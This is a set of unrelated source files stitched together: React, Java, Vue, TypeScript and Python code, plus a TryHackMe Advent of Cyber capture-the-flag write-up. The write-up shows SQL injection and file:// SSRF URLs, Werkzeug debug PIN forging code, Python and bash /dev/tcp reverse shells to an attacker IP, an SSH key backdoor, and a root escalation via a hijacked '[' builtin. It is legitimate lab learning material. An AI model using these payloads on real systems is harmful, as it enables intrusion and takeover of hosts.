<script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>
</div>
</body>
</html>
|
import {useState, useEffect, useRef} from "react"
function useFetch(url, options, type) {
const optionsRef = useRef(options)
const [loading, setLoading] = useState(true)
const [error, setError] = useState(null)
const [data, setData] = useState(null)
useEffect(() => {
const fetchData = async () => {
try {
const res = await fetch(url, optionsRef.current)
const data = await res.json()
setData(data)
setLoading(false)
} catch (error) {
setData(null)
setError(error)
setLoading(false)
}
}
fetchData()
}, [url,type, optionsRef])
const reFetch = async () => {
try{
const res = await fetch.get(url, options)
const data = await res.json()
setData(data)
} catch(error){
setError(error)
}
}
return {loading, error, data, reFetch}
}
export default useFetch
|
import './App.css'
import {v1} from 'uuid';
import {useState} from 'react';
import {AddForm} from './components/AddRevenue/AddForm.tsx';
import {Revenues} from './components/Revenues/Revenues.tsx';
import {Statistic} from './components/Statistic/Statistic.tsx';
import {Wallets} from './components/Wallets/Wallets.tsx';
import {ExpensesCategories} from './components/ExpensesCategories/ExpensesCategories.tsx';
export type RevenueType = {
id: string
title: string
monthlySalary: number
currentValue: number
}
export type WalletType = {
id: string
title: string
currentValue: number
}
export type CategoryType = {
id: string
title: string
limit: number
}
export type ExpenseType = {
id: string
value: number
}
export type CategoryExpenseType = {
[key: string]: ExpenseType[]
}
const myRevenues: RevenueType[] = [
{id: v1(), title: 'Зарплата', monthlySalary: 2865, currentValue: 1029},
{id: v1(), title: 'Мороженое', monthlySalary: 3000, currentValue: 700}
]
const myWallets: WalletType[] = [
{id: v1(), title: 'Кошелек', currentValue: 408},
{id: v1(), title: 'Карта', currentValue: 542},
]
const categoryID1 = v1()
const categoryID2 = v1()
const categoryID3 = v1()
const categoryID4 = v1()
const myCategories: CategoryType[] = [
{id: categoryID1, title: 'Еда', limit: 600},
{id: categoryID2, title: 'Машина', limit: 400},
{id: categoryID3, title: 'Одежда', limit: 200},
{id: categoryID4, title: 'Коммунальные услуги', limit: 200},
]
const expenses1: ExpenseType[] = [
{id: v1(), value: 50}
]
const expenses2: ExpenseType[] = [
{id: v1(), value: 40},
{id: v1(), value: 30},
]
const expenses3: ExpenseType[] = [
{id: v1(), value: 20},
{id: v1(), value: 10},
]
const expenses4: ExpenseType[] = [
{id: v1(), value: 50},
{id: v1(), value: 25},
{id: v1(), value: 50},
{id: v1(), value: 50},
]
const myExpenses: CategoryExpenseType = {
[categoryID1]: expenses1,
[categoryID2]: expenses2,
[categoryID3]: expenses3,
[categoryID4]: expenses4,
}
function App() {
const [revenues, setRevenues] = useState<RevenueType[]>(myRevenues)
const [wallets, setWallets] = useState<WalletType[]>(myWallets)
const [categories, setCategories] = useState<CategoryType[]>(myCategories)
const [expenses, setExpenses] = useState<CategoryExpenseType>(myExpenses)
const [isAddRevenueVisible, setIsAddRevenueVisible] = useState(false)
const [isAddWalletVisible, setIsAddWalletVisible] = useState(false)
const [isAddCategoryVisible, setIsAddCategoryVisible] = useState(false)
const [collapsedStatistic, setCollapsedStatistic] = useState(true)
const revenuesCount = revenues.length
const revenuesCurrentValue = revenues.reduce((acc, cur) => acc + cur.currentValue, 0)
const revenuesMonthlyValue = revenues.reduce((acc, cur) => acc + cur.monthlySalary, 0)
const availableCash = wallets.reduce((acc, curr) => acc + curr.currentValue, 0)
let spentCash = 0
for (const [_, value] of Object.entries(expenses)) {
spentCash += value.reduce((acc, curr) => acc + curr.value, 0)
}
// BLL REVENUE
const onAddNewRevenue = (title: string, monthlySalary: number) => {
const newRevenue: RevenueType = {
id: v1(),
title,
currentValue: 0,
monthlySalary
}
setRevenues([newRevenue, ...revenues])
}
const onDeleteRevenue = (revenueID: string) => {
setRevenues(revenues.filter(revenue => revenue.id !== revenueID))
}
const onChangeRevenueTitle = (revenueID: string, title: string) => {
setRevenues(revenues.map(revenue => revenue.id === revenueID ? {...revenue, title} : revenue))
}
//BLL WALLET
const onAddNewWallet = (title: string, currentValue: number) => {
const newWallet: WalletType = {
id: v1(),
title,
currentValue
}
setWallets([newWallet, ...wallets])
}
// BLL CATEGORY
const onAddNewCategory = (title: string, limit: number) => {
const categoryID = v1()
const newCategory: CategoryType = {
id: categoryID,
title,
limit
}
setCategories([newCategory, ...categories])
setExpenses({...expenses,
[categoryID]: []
})
}
const onChangeCategoryTitle = (categoryID: string, title: string) => {
setCategories(categories.map(category => category.id === categoryID ? {...category, title} : category))
}
//BLL EXPENSES
const onAddExpenses = (categoryID: string, walletID: string, value: number) => {
setExpenses({...expenses, [categoryID]: [...expenses[categoryID], {id: v1(), value}]})
setWallets(wallets.map(wallet => wallet.id === walletID
? {...wallet, currentValue: wallet.currentValue - value}
: wallet
))
}
const onChangeExpenseValue = (categoryID: string, expenseID: string, value: number) => {
setExpenses({...expenses,
[categoryID]: expenses[categoryID].map(expense => expense.id === expenseID
? {...expense, value}
: expense
)
})
}
// UI
const showAddRevenueForm = (value: boolean) => {
setIsAddRevenueVisible(value)
}
const showAddWalletForm = (value: boolean) => {
setIsAddWalletVisible(value)
}
const showAddCategoryForm = (value: boolean) => {
setIsAddCategoryVisible(value)
}
return (
<div>
{!collapsedStatistic
? <Statistic
revenuesCount={revenuesCount}
revenuesCurrentValue={revenuesCurrentValue}
revenuesMonthlyValue={revenuesMonthlyValue}
availableCash={availableCash}
spentCash={spentCash}
isCollapsed={setCollapsedStatistic}
/>
: <button className={'statisticBtn'} onClick={() => setCollapsedStatistic(false)}>Показать
статустику</button>
}
<div>
<button onClick={() => showAddRevenueForm(true)}>Создать доход</button>
{
isAddRevenueVisible && <AddForm
callBack={onAddNewRevenue}
isModalVisible={showAddRevenueForm}
/>
}
{
revenues.length ? <Revenues
revenues={revenues}
deleteRevenue={onDeleteRevenue}
changeRevenueTitle={onChangeRevenueTitle}
/>
: <div>У вас нет ни одного источника дохода :(</div>
}
</div>
<div>
<button onClick={() => showAddWalletForm(true)}>Создать кошелек</button>
{
isAddWalletVisible && <AddForm
callBack={onAddNewWallet}
isModalVisible={showAddWalletForm}
/>
}
<Wallets wallets={wallets}/>
</div>
<div>
<button onClick={() => showAddCategoryForm(true)}>Создать категорию</button>
{
isAddCategoryVisible && <AddForm
callBack={onAddNewCategory}
isModalVisible={showAddCategoryForm}
/>
}
<ExpensesCategories
categories={categories}
expenses={expenses}
wallets={wallets}
addExpenses={onAddExpenses}
changeCategoryTitle={onChangeCategoryTitle}
changeExpenseValue={onChangeExpenseValue}
/>
</div>
</div>
)
}
export default App
|
package gui.panel;
import javax.swing.*;
import java.awt.*;
public class CenterPanel extends JPanel {
private double rate; // 拉伸比例
private JComponent c; // 显示组件;
private boolean stretch; // 是否拉伸
private CenterPanel(double rate, boolean stretch) {
this.setLayout(null);
this.rate = rate;
this.stretch = stretch;
}
public CenterPanel(double rate) {
this(rate, true);
}
// 调用 updateui 方法执行此方法
@Override
public void repaint() {
super.repaint();
if (null != c) {
Dimension containerSize = this.getSize();
Dimension componentSize = c.getSize();
if (stretch) {
c.setSize((int) (containerSize.width * rate),
(int) (containerSize.height * rate));
} else {
c.setSize(componentSize);
}
c.setLocation(containerSize.width / 2 - c.getSize().width / 2,
containerSize.height / 2 - c.getSize().height / 2);
}
}
public void show(JComponent c) {
this.c = c;
// 获取面板包含的组件
Component[] cs = this.getComponents();
for (Component temp : cs)
remove(temp);
this.add(c);
// 从数据读取数据更新界面
if (c instanceof WorkingPanel)
((WorkingPanel) c).updateData();
this.updateUI();
}
public static void main(String[] args) {
JFrame f = new JFrame();
f.setSize(200, 200);
f.setLocationRelativeTo(null);
CenterPanel cp = new CenterPanel(0.85, true);
f.setContentPane(cp);
f.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
f.setVisible(true);
JButton b = new JButton("abc");
cp.show(b);
}
}
|
package com.chinthaka.pointofsalesystem.entity;
import com.chinthaka.pointofsalesystem.dto.order.RequestOrderDetailsSave;
import javax.persistence.*;
import java.util.Date;
import java.util.List;
import java.util.Set;
@Entity
@Table(name = "purchase_order")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
@Column(name = "order_id")
private Integer orderID;
@Column(name = "order_data",columnDefinition = "DATETIME")
private Date orderData;
@Column(name = "total",nullable = false)
private double total;
@ManyToOne
@JoinColumn(name="customer_id", nullable=false)
private Customer customers;
@OneToMany(mappedBy="order")
private List<OrderDetails> orderDetails;
public Order() {
}
public Order(Integer orderID, Date orderData, double total, Customer customers, List<OrderDetails> orderDetails) {
this.orderID = orderID;
this.orderData = orderData;
this.total = total;
this.customers = customers;
this.orderDetails = orderDetails;
}
public Order(Date orderData, double total, Customer customers) {
this.orderData = orderData;
this.total = total;
this.customers = customers;
}
public Integer getOrderID() {
return orderID;
}
public void setOrderID(Integer orderID) {
this.orderID = orderID;
}
public Date getOrderData() {
return orderData;
}
public void setOrderData(Date orderData) {
this.orderData = orderData;
}
public double getTotal() {
return total;
}
public void setTotal(double total) {
this.total = total;
}
public Customer getCustomers() {
return customers;
}
public void setCustomers(Customer customers) {
this.customers = customers;
}
public List<OrderDetails> getOrderDetails() {
return orderDetails;
}
public void setOrderDetails(List<OrderDetails> orderDetails) {
this.orderDetails = orderDetails;
}
@Override
public String toString() {
return "Order{" +
"orderID=" + orderID +
", orderData=" + orderData +
", total=" + total +
", customers=" + customers +
", orderDetails=" + orderDetails +
'}';
}
}
|
---
layout: post
title: "Side Quest 4"
description: "Find the git commit with the QR, SQL inject to generate a URL to SSRS the files needed to generate the Werkzeug PIN. Then use the python terminal to generate a reverse shell, find mcskidy's poor password hygiene, then hijack the sudo check script to get root."
date: 2023-12-24 00:00:00 -0700
categories: ctfs
parent: TryHackMe - Advent of Cyber '23
grand_parent: CTF Events
event: "tryhackme-advent-of-cyber"
tags:
- aoc
- advent-of-cyber
- tryhackme
- "2023"
- ctf
---
# Side Quest 1
## TL;DR:
Find the git commit with the QR, SQL inject to generate a URL to SSRS the files needed to generate the Werkzeug PIN. Then use the python terminal to generate a reverse shell, find mcskidy's poor password hygiene, then hijack the sudo check script to get root.
---
Here it is, last and certainly not least. Lets go! Day
This one is a short enough path that I'll be keeping this all together. Please forgive the long form factor and follow along with my thought process, or just skip to the part you want: I'm not your dad.
To start with, here's our first hint:

The initial step of finding the room is pretty easy. As this is a GitLab instance, if we want to see what a user did we can just take a look at the commit history in the branch to see the full history of everything involved.
Some quick searching in Repository > Commits and we see something that stands out...

And in the change is a PNG, and a link to the room.

## Enumeration
Let's start with some basic enumeration to see what we have access to.
```bash
└─$ nmap -sC -sV -p- 10.10.79.182 -vv --min-rate 1500
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 10:36 PST
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
...
8000/tcp open http-alt syn-ack Werkzeug/3.0.0 Python/3.8.10
...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.98 seconds
```
NMap shows us ports 22 and 8000.

On 8000 we see the identified Werkzeug Python app.
```bash
┌──(tokugero㉿kali)-[~/thm/rooms/aoc2023/task4]
└─$ gobuster dir -u http://10.10.79.182:8000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,svg -t 40 --timeout=6s -o gobuster-task.txt --retry -b 404
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.10.79.182:8000
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,js,html,svg
[+] Timeout: 6s
Starting gobuster in directory enumeration mode
/download (Status: 200) [Size: 20]
/console (Status: 200) [Size: 1563]
```
In that app we see 2 end points with dirbuster, /download and /console


### Exploration
#### /download
This seems interesting as it looks like a general ID to return a file, let's try some things with it.

With Burp Suite we can see the download GET link.

Going to the id directly gets us a download.

We can also inject the ID in the URL bar and effect another download. This one goes to an elf that's not on the page, but it's not useful to the challenge either unfortunately.

Going even further, we can see an error returned when we go too far up the ID chain. The errors we get show that the "download" view gave an invalid response when it returns empty.

Testing some basic or 1=1; we can see that another download will still take place, meaning this is valid SQL injection. The result is the id=1 elf which tells us that the query is also a valid type. Let's take it a step deeper.
```bash
sqlmap -u "http://10.10.79.182:8000/download?id=" -p id
[10:23:50] [INFO] GET parameter 'id' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
...
[10:24:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
[10:24:11] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
```
With this we can see that we have several vectors that are available to us to target SQL, it's basically an unadulterated passthrough to the DB. Below is a generic attempt to use an injection payload from the Google to see if the first result will just give us something lucky:
```
http://<IP>:8000/download?id=11%27create%20table%20myfile%20(input%20TEXT);%20load%20data%20infile%20%27/etc/passwd%27%20into%20table%20myfile;%20select%20*%20from%20myfile;
```

Nothing lucky, BUT we do generate some source code from the app.py telling us where the app is located, and how the query is passed.
```
http://<IP>:8000/download?id=11%27%20union%20select%20%27test%27;
```

And trying the Union select method to give a generic test result, we can see some more interesting errors:
`pycurl.error: (6, 'Could not resolve host: test')`
Now I didn't piece this together right away, and I spent a long while longer trying other SQL payloads and exploring what MySQL features were available to me. But coming back to this thread, I found that PyCurl could be used to call on system files where MySQL was lacking the permissions to do so. The documentation isn't immediately clear on this, but various stack overflow articles pointed at using `file://` as a protocol might have some luck.

/etc/passwd!

The format in Firefox is pretty terrible, so rather than open every file manually, here's what it looks like in Burp Suite Repeater.

From here there's not much more to do, I could manually enumerate the file system but that would take forever, and I'm not 100% sure where the first flag is in relation to this pathing yet. There's still another vector anyway, so let's take a note that we have this new pathway and move on.
#### /console
Nikto and further dirbuster didn't have much more information about this endpoint. However, googling Werkzeug did.
[Werkzeug / Flask Debug - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug)
Apparently the Pin generation system does not have fantastic randomness built in, it's just for testing after all and loudly advertises to not enable the debug system on a production system. And yet, here we are.
Lets look a bit at this proposed code from HackTricks to generate our own pin #.
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
Basically this posits that there is some information that is probably exposable publicly (i.e. error generation logs), and some information that is private only (requires exfiltration and not likely to be exposed...). It then takes those pieces of info and uses them to run through Werkzeug's Pin generation algorithm.
```python
probably_public_bits = [
'web3_user',# username <= guess mcskidy based on path name
'flask.app',# modname <= default modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) <= default class name
'/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None), <= from error page
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address <= exfiltrate with sqli/flask SSRS
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id <= exfiltrate with sqli/flask SSRS
]
```
Here's the bits we need to fill in. Username we can assume is "mcskidy" based on the context of the home directory it's running in, module name flask.app as a default value based on errors from the webapp, Class name "Flask", and the flask path based on the output from the error message.
```bash
/sys/class/net/eth0/address # guess at interface
/etc/machine-id
```
Some googling says this is where we'll find the private data on the system. We can use our earlier exploit to exfiltrate these values using the PyCurl SSRS vulnerability.
> The hard part: Sometimes this method doesn’t work and requires restarting the host and trying again. This is still a mystery to me.

Running the script as is with our new values inserted per the HackTricks documentation and we
You probably know the next steps for the reverse shells.
```bash
└─$ nc -lvnp 4446
listening on [any] 4446 ...
```
Open your favorite listener on your attack box, then spawn a shell to connect to your attack box from the victim
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<yourIP>",4446));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
```
Easy as that!
```bash
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.13.8.186] from (UNKNOWN) [10.10.219.148] 38628
$ whoami
whoami
mcskidy
$ ls -alhn
ls -alhn
total 48K
drwxr-xr-x 6 1000 1000 4.0K Dec 13 17:29 .
drwxr-xr-x 3 0 0 4.0K Oct 19 19:54 ..
drwxrwxr-x 5 1000 1000 4.0K Oct 19 20:03 app
lrwxrwxrwx 1 0 0 9 Oct 19 20:40 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1000 1000 3.7K Feb 25 2020 .bashrc
drwxrwxr-x 3 1000 1000 4.0K Oct 19 19:59 .cache
-rw-rw-r-- 1 1000 1000 47 Oct 19 20:00 .gitconfig
drwx------ 4 1000 1000 4.0K Oct 19 19:57 .local
lrwxrwxrwx 1 0 0 9 Oct 19 20:40 .mysql_history -> /dev/null
-rw-r--r-- 1 1000 1000 807 Feb 25 2020 .profile
-rw-rw-r-- 1 1000 1000 75 Oct 19 20:03 .selected_editor
drwxrwxr-x 2 1000 1000 4.0K Dec 13 17:28 .ssh
-rw-r--r-- 1 0 0 38 Oct 19 20:07 user.txt
-rw------- 1 1000 1000 0 Nov 2 15:40 .viminfo
$ cat user.txt
cat user.txt
THM{<REDACTED>}
```
And here's our first flag, even. I could have gotten this from the exfiltration vulnerability we found earlier, but this was way easier than guessing I think.
```bash
$ cat .gitconfig
cat .gitconfig
[user]
email = mcskidy@proddb
name = mcskidy
$ cd app
cd app
$ ls -alhn
ls -alhn
total 24K
drwxrwxr-x 5 1000 1000 4.0K Oct 19 20:03 .
drwxr-xr-x 6 1000 1000 4.0K Dec 13 17:29 ..
-rw-rw-r-- 1 1000 1000 1.5K Oct 19 20:03 app.py
drwxrwxr-x 8 1000 1000 4.0K Nov 2 15:41 .git
drwxrwxr-x 3 1000 1000 4.0K Oct 19 19:58 static
drwxrwxr-x 2 1000 1000 4.0K Nov 2 15:29 templates
```
And we continue enumerating as above. Just looking at some common files in the current path and poking around the path that the app is running in. Looks like our dev has some local .git projects that might have some juicy content. I'll tuck this information away for later.
```
ps
df -h
mount
sudo -l
```
Further quicky enumeration, as one does.


I spent an unreasonable amount of time trying to do full enumerations.

And it looks like there's no immediate sudo capabilities for our beloved McSkidy. We'll have to backburner that for a while.
```bash
$ echo "ssh-rsa <redacted>" >> /home/mcskidy/.ssh/authorized_keys
echo "ssh-rsa <redacted>" >> /home/mcskidy/.ssh/authorized_keys
$ exit
exit
┌──(tokugero㉿kali)-[~/thm]
└─$ ssh [email protected]
The authenticity of host '10.10.219.148 (10.10.219.148)' can't be established.
ED25519 key fingerprint is SHA256:1ihhpXZNauh4CQNMsK3xDOE+ZxnZ+Ht9pNw9AL6Kqq8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.219.148' (ED25519) to the list of known hosts.
Last login: Wed Dec 13 18:15:09 2023 from 10.13.4.71
mcskidy@proddb:~$
```
In the meantime though, let's get a better shell while we're here. This might not be the most subtle breach of all time, but it'll be awful comfortable.
More Enumeration
I'm including these for completeness, though they're not entirely necessary to the rooting of this box. I just found that these tools were super neat and wanted to provide some details on a logical progression rather than an intuited one.
[GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions](https://github.com/DominicBreuker/pspy)
This tool takes a PS poll every 100ms with color coding on userspace execution. I.E. Root = blue, McSkidy = pink, and now I can watch for sneaky cron jobs and subtle script behaviors.
[PEASS-ng/linPEAS at master · carlospolop/PEASS-ng](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
This does everything I want to do on a system to understand it, and very loudly. There's a version for everyone and both of these are as simple to pop over as `scp` or a quick `python3 -m http.server` on the attack box to `wget` it over to the victim.

Just a side by side so you can see them in action.
```bash
╔══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x 2 root root 4096 Oct 19 20:05 .
drwxr-xr-x 19 root root 4096 Mar 27 2023 ..
-rw-r--r-- 1 root root 3786 Oct 19 06:28 .bashrc
-rw-r--r-- 1 root root 336 Oct 19 20:05 check.sh
```
The output for Linpeas is super super super long, and lead to many rabbit holes. But in those holes we find some interesting data.

A couple check scripts. And a find / command doesn't see their use anywhere...

And who sources a .bashrc into a health check curl? What's so special about this? Above we can see the diff command between the home bash and the opt bash and we get exactly one line different that's in the /opt/ dir that's not in the home directory. For now, we don't have a way to get root to execute this, so there's nothing of consequence to do yet. Let's put this in our notes for checking back on and continue our enumeration.

Back to that juicy Git folder. Looks like the whole git log is available to us and in there we can see notes about MySQL users changing
```bash
mcskidy@proddb:~/app$ git diff <redacted>
diff --git a/app.py b/app.py
index 5f5ff6e..875cbb8 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
# MySQL configuration
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = '<redacted>'
+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)
```
A diff shows us that the password changed... but why? Surely McSkidy knows to use different passwords for their accounts...
```bash
mcskidy@proddb:~/app$ sudo -l
[sudo] password for mcskidy: #Insert Old MySQL password here
Matching Defaults entries for mcskidy on proddb:
env_reset, mail_badpass,
secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
(root) /usr/bin/bash /opt/check.sh
```
Nope, they don't. SHAME!
We finally have sudo access and we have some great information from here. One thing I did a lot in this challenge that really helped me pinpoint what the room creators were injecting, was to check these commands all out locally to see what the output was supposed to look like. This let me rule out a lot of googling I had to do on topics I didn't know, like how sudo adopts the secure_path during its execution.
We also found where `/opt/check.sh` is used, and have a way to run it in a root account.

Here's a screenshot of pspy64 in action while I test the behavior of the scripts in /opt to see exactly what I might be able to exploit.
[enable Man Page - Linux - SS64.com](https://ss64.com/bash/enable.html)
After some time I came back to my notes about potentially interesting vectors to target, namely: enable. At the time I didn't know this, but apparently [ is actually a function built in to bash. And enable can list and enable/disable those built in functions. And when a built in function is disabled, the natural path priority takes effect and you can have alternative binaries or aliases take over the behavior of those built in functions.
```bash
mcskidy@proddb:~$ enable -a
enable .
enable :
enable [
enable alias
...
mcskidy@proddb:~$ . /opt/.bashrc
mcskidy@proddb:~$ enable -a
enable .
enable :
enable -n [ <-- look here
enable alias
...
```
So when our `/opt/.bashrc` disables `[`, and we have a script doing if `[ this == that]`, what we really have is if `pleaseExploitMe otheruselessarguments`.
```bash
mcskidy@proddb:~$ ls
'[' app linpeas pspy64 user.txt
mcskidy@proddb:~$ ls /opt/
check.sh
mcskidy@proddb:~$ cat /home/mcskidy/\[
touch /opt/"$(id)"
mcskidy@proddb:~$ enable -a | grep "\["
enable -n [
mcskidy@proddb:~$ sudo /usr/bin/bash /opt/check.sh
Website is running: http://127.0.0.1:8000
mcskidy@proddb:~$ ls /opt/
check.sh 'uid=0(root) gid=0(root) groups=0(root)'
```
And taking that into consideration, we simply make an executable `[` in our secure_path writeable folder `/home/mcskidy` that opens another reverse shell...
```bash
mcskidy@proddb:~$ cat \[
sh -i >& /dev/tcp/10.13.8.186/4446 0>&1
mcskidy@proddb:~$ sudo /usr/bin/bash /opt/check.sh
..........
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.13.8.186] from (UNKNOWN) [10.10.219.148] 42662
# whoami
root
# cd /root/
# ls
frosteau
root.txt
snap
yetikey4.txt
```
And we have our flag.
This event was super fun, and I am dying for next years. Thank you for following this series, or cheating up to the topic of your choice. I learned a lot and spent a lot of time staring at the abyss to get to this point. If I didn't have my team of rubber ducks and research partners, I probably wouldn't have had the answers to write this up and get it out to you, so thank you Stefano, DaRealPheyee, Ryzzoa, and Buggy. I'm looking forward to the next years' challenges.
|
<template lang="pug">
.curate-content.markdown(
v-if="readmeContent"
v-html="readmeContent"
)
</template>
<script lang="ts">
import { Vue, Component, Watch, Prop } from 'vue-property-decorator'
import markdown from 'markdown-it'
import { FileSystemConfig } from '@/Globals'
import HTTPFileSystem from '@/js/HTTPFileSystem'
const mdRenderer = new markdown({
html: true,
linkify: true,
typographer: true,
})
@Component({})
export default class VueComponent extends Vue {
@Prop({ required: true }) fileSystemConfig!: FileSystemConfig
@Prop({ required: true }) subfolder!: string
@Prop({ required: true }) files!: string[]
@Prop({ required: true }) config!: any
private readmeContent = ''
private async mounted() {
try {
const fileApi = new HTTPFileSystem(this.fileSystemConfig)
const filename = `${this.subfolder}/${this.config.file}`
const text = await fileApi.getFileText(filename)
this.readmeContent = mdRenderer.render(text)
} catch (e: any) {
console.log({ e })
let error = '' + e
if (e.statusText) error = e.statusText
this.readmeContent = `${this.config.file}: ${error}`
}
this.$emit('isLoaded')
}
}
</script>
<style scoped lang="scss">
@import '@/styles.scss';
.dash-element {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
display: flex;
flex-direction: column;
}
@media only screen and (max-width: 640px) {
}
</style>
|
/*
===== Código de TypeScript =====
*/
/*
===== DESESTRUCTURACION FUNCION =====
*/
export interface Producto {
Descripcion: string;
Precio: number;
}
const telefono: Producto = {
Descripcion: "Samsung A21",
Precio: 200
}
const iphone: Producto = {
Descripcion: "Iphone X",
Precio: 1000
}
export function CalcularISV(productos: Producto[]): [number, number] {
let total = 0;
productos.forEach(({ Precio }) => {
total += Precio;
});
return [total, total * 0.15];
}
const productos = [ telefono, iphone ];
const [total, isv] = CalcularISV(productos);
console.log("Total: ", total);
console.log("ISV: ", isv);
// ===== NOTAS =====
|
"""
Plotlyst
Copyright (C) 2021-2023 Zsolt Kovari
This file is part of Plotlyst.
Plotlyst is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Plotlyst is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
from typing import Optional
from PyQt6.QtCore import pyqtSignal
from PyQt6.QtGui import QAction
from overrides import overrides
from qtmenu import GridMenuWidget
from src.main.python.plotlyst.core.client import json_client
from src.main.python.plotlyst.core.domain import Diagram, Relation, Node
from src.main.python.plotlyst.core.domain import Novel, Character, DiagramNodeType
from src.main.python.plotlyst.service.persistence import RepositoryPersistenceManager
from src.main.python.plotlyst.view.common import action
from src.main.python.plotlyst.view.icons import IconRegistry
from src.main.python.plotlyst.view.widget.characters import CharacterSelectorMenu
from src.main.python.plotlyst.view.widget.graphics import NetworkGraphicsView, NetworkScene
from src.main.python.plotlyst.view.widget.graphics.editor import ConnectorEditor
class RelationsEditorScene(NetworkScene):
def __init__(self, novel: Novel, parent=None):
super(RelationsEditorScene, self).__init__(parent)
self._novel = novel
self.repo = RepositoryPersistenceManager.instance()
@overrides
def _character(self, node: Node) -> Optional[Character]:
return node.character(self._novel) if node.character_id else None
@overrides
def _load(self):
json_client.load_diagram(self._novel, self._diagram)
@overrides
def _save(self):
self.repo.update_diagram(self._novel, self._diagram)
class CharacterNetworkView(NetworkGraphicsView):
def __init__(self, novel: Novel, parent=None):
self._novel = novel
super(CharacterNetworkView, self).__init__(parent)
self._btnAddCharacter = self._newControlButton(IconRegistry.character_icon('#040406'), 'Add new character',
DiagramNodeType.CHARACTER)
self._btnAddSticker = self._newControlButton(IconRegistry.from_name('mdi6.sticker-circle-outline'),
'Add new sticker', DiagramNodeType.STICKER)
self._connectorEditor = RelationConnectorEditor(self)
self._connectorEditor.setVisible(False)
@overrides
def _initScene(self) -> NetworkScene:
return RelationsEditorScene(self._novel)
def refresh(self):
if not self._diagram:
self.setDiagram(self._novel.character_networks[0])
self._connectorEditor.setNetwork(self._diagram)
@overrides
def _characterSelectorMenu(self) -> CharacterSelectorMenu:
return CharacterSelectorMenu(self._novel, parent=self)
class RelationSelector(GridMenuWidget):
relationSelected = pyqtSignal(Relation)
def __init__(self, network: Diagram = None, parent=None):
super().__init__(parent)
self._network = network
self._romance = Relation('Romance', icon='ei.heart', icon_color='#d1495b')
self._breakUp = Relation('Breakup', icon='fa5s.heart-broken', icon_color='#d1495b')
self._affection = Relation('Affection', icon='mdi.sparkles', icon_color='#d1495b')
self._crush = Relation('Crush', icon='fa5.grin-hearts', icon_color='#d1495b')
